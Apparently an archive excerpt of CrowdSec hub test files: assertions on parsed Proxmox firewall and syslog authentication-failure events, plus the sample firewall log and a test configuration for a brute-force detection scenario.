results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["physin"] == "fwln101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["ack"] == "0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["dst_ip"] == "10.3.95.200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["iface"] == "fwbr101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["logdate"] == "20/Jun/2022:13:12:46 +0200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["src_ip"] == "10.3.95.34" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["tcp_flags"] == "SYN" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["action"] == "REJECT" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["program"] == "pve-firewall" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["tos"] == "10" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["vmid"] == "101" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["ttl"] == "63" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["id"] == "37700" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["loglevel"] == "1" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["physout"] == "tap101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["prec"] == "00" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["src_port"] == "51604" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Meta["service"] == "tcp" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Meta["source_ip"] == "10.3.95.34" results["s01-parse"]["aderumier/proxmox-iptables-logs"][4].Success == false results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Success == true results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["logdate"] == "20/Jun/2022:13:13:32 +0200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["physout"] == "tap101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["action"] == "PVEFW-reject" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["physin"] == "fwln101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["program"] == "pve-firewall" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["tcp_flags"] == "SYN" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["dst_ip"] == "2a0a:1580::17" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["dst_mac"] == "24:8a:07:50:2c:ef" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["iface"] == "fwbr101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["oface"] == "fwbr101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["vmid"] == "101" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["ack"] == "0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["int_eth"] == "tap101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["loglevel"] == "1" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:13:13:32 +0200 PVEFW-reject: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=24:8a:07:50:2c:ef:5e:29:c3:7c:13:a3:86:dd SRC=2a0a:1580::a DST=2a0a:1580::17 LEN=40 TC=0 FLOWLBL=634336 HOPLIMIT=64 PROTO=TCP SPT=59368 DPT=22 SEQ=3146558957 ACK=0 WINDOW=64800 SYN " results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["src_ip"] == "2a0a:1580::a" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Parsed["src_port"] == "59368" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Meta["service"] == "tcp" results["s01-parse"]["aderumier/proxmox-iptables-logs"][5].Evt.Meta["source_ip"] == "2a0a:1580::a" results["s01-parse"]["aderumier/proxmox-iptables-logs"][6].Success == false results["s01-parse"]["aderumier/proxmox-iptables-logs"][7].Success == false results["s01-parse"]["aderumier/proxmox-iptables-logs"][8].Success == false results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Success == true results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["ack"] == "0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["dst_ip"] == "10.3.95.200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["id"] == "48066" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["prec"] == "00" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["program"] == "pve-firewall" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["tcp_flags"] == "SYN" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["loglevel"] == "1" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["oface"] == "fwbr101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["physout"] == "tap101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["src_ip"] == "10.3.95.34" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["vmid"] == "101" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["action"] == "DROP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["iface"] == "fwbr101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:16:20:14 +0200 DROP: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=48066 DF PROTO=TCP SPT=51610 DPT=22 SEQ=2077327725 ACK=0 WINDOW=64240 SYN " results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["physin"] == "fwln101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["ttl"] == "63" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["dst_mac"] == "a2:1b:bb:df:61:a5" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["int_eth"] == "tap101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["logdate"] == "20/Jun/2022:16:20:14 +0200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["src_port"] == "51610" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Parsed["tos"] == "10" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Meta["service"] == "tcp" results["s01-parse"]["aderumier/proxmox-iptables-logs"][9].Evt.Meta["source_ip"] == "10.3.95.34" len(results["success"][""]) == 0 hub1/.tests/proxmox-iptables-logs/proxmox-iptables.log000066400000000000000000000053031437532772500234540ustar00rootroot000000000000000 3 PVEFW-HOST-IN 20/Jun/2022:13:09:14 +0200 policy DROP: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:24:8a:07:50:2c:9e:08:00 SRC=10.3.94.11 DST=10.3.94.12 LEN=52 TOS=0x00 PREC=0xC0 TTL=255 ID=64317 DF PROTO=UDP SPT=49152 DPT=3784 LEN=32 0 0 PVEFW-HOST-IN 20/Jun/2022:13:09:14 +0200 ACCEPT: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:d4:af:f7:44:93:1f:08:00 SRC=10.3.95.34 DST=10.3.94.12 LEN=60 TOS=0x00 PREC=0x00 TTL=62 ID=64432 DF PROTO=TCP SPT=56386 DPT=8006 SEQ=2853565861 ACK=0 WINDOW=64240 SYN 0 2 PVEFW-HOST-IN 20/Jun/2022:13:09:25 +0200 REJECT: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:d4:af:f7:44:79:d1:08:00 SRC=10.3.95.34 DST=10.3.94.12 LEN=60 TOS=0x10 PREC=0x00 TTL=62 ID=52883 DF PROTO=TCP SPT=36504 DPT=3306 SEQ=2315974272 ACK=0 WINDOW=64240 SYN 101 1 tap101i0-IN 20/Jun/2022:13:12:46 +0200 REJECT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=37700 DF PROTO=TCP SPT=51604 DPT=22 SEQ=3673568222 ACK=0 WINDOW=64240 SYN 101 1 tap101i0-IN 20/Jun/2022:13:13:14 +0200 ACCEPT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=28091 DF PROTO=TCP SPT=43506 DPT=3306 SEQ=2987056794 ACK=0 WINDOW=64240 SYN 101 1 tap101i0-IN 20/Jun/2022:13:13:32 +0200 PVEFW-reject: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=24:8a:07:50:2c:ef:5e:29:c3:7c:13:a3:86:dd SRC=2a0a:1580::a DST=2a0a:1580::17 LEN=40 TC=0 FLOWLBL=634336 HOPLIMIT=64 PROTO=TCP SPT=59368 DPT=22 SEQ=3146558957 ACK=0 WINDOW=64800 SYN 101 1 tap101i0-OUT 20/Jun/2022:13:15:19 +0200 REJECT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=tap101i0 PHYSOUT=fwln101i0 MAC=22:6c:1e:a0:78:c8:a2:1b:bb:df:61:a5:08:00 SRC=10.3.95.200 DST=10.3.95.10 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=15974 DF PROTO=TCP SPT=51348 DPT=22 SEQ=3194692351 ACK=0 WINDOW=64240 SYN 0 1 PVEFW-HOST-OUT 20/Jun/2022:13:16:23 +0200 REJECT: OUT=vmbr0.94 SRC=10.3.94.12 DST=10.3.94.10 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=59156 DF PROTO=TCP SPT=49566 DPT=22 SEQ=708451139 ACK=0 WINDOW=64240 SYN 0 5 GROUP-security1-IN 20/Jun/2022:15:52:26 +0200 IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=8526 DF PROTO=TCP SPT=51606 DPT=22 SEQ=3720078294 ACK=0 WINDOW=64240 SYN 101 1 tap101i0-IN 20/Jun/2022:16:20:14 +0200 DROP: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=48066 DF PROTO=TCP SPT=51610 DPT=22 SEQ=2077327725 ACK=0 WINDOW=64240 SYN hub1/.tests/proxmox-iptables-logs/scenario.assert000066400000000000000000000000001437532772500224470ustar00rootroot00000000000000hub1/.tests/proxmox-logs/000077500000000000000000000000001437532772500156325ustar00rootroot00000000000000hub1/.tests/proxmox-logs/config.yaml000066400000000000000000000003471437532772500177670ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - parsers/s01-parse/fulljackz/proxmox-logs.yaml scenarios: - scenarios/fulljackz/proxmox-bf.yaml postoverflows: - "" log_file: proxmox-logs.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/proxmox-logs/parser.assert000066400000000000000000001250471437532772500203620ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 21 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Jan 4 17:34:01" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=toor@pam msg=no such user ('toor@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Jan 4 17:34:02" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Jan 4 17:34:02" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "hypervsior" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "2891825" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == " successful auth for user 'root@pam'" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('toor@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["timestamp"] == "Jan 4 17:34:07" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('a@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('b@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('c@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('d@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('e@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["timestamp"] == "Jan 4 17:34:08" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["message"] == " successful auth for user 'root@pam'" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["pid"] == "2891825" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["timestamp"] == "Jan 4 17:34:08" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Parsed["timestamp"] == "Jan 4 17:34:09" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Meta["datasource_path"] == "proxmox-logs.log" 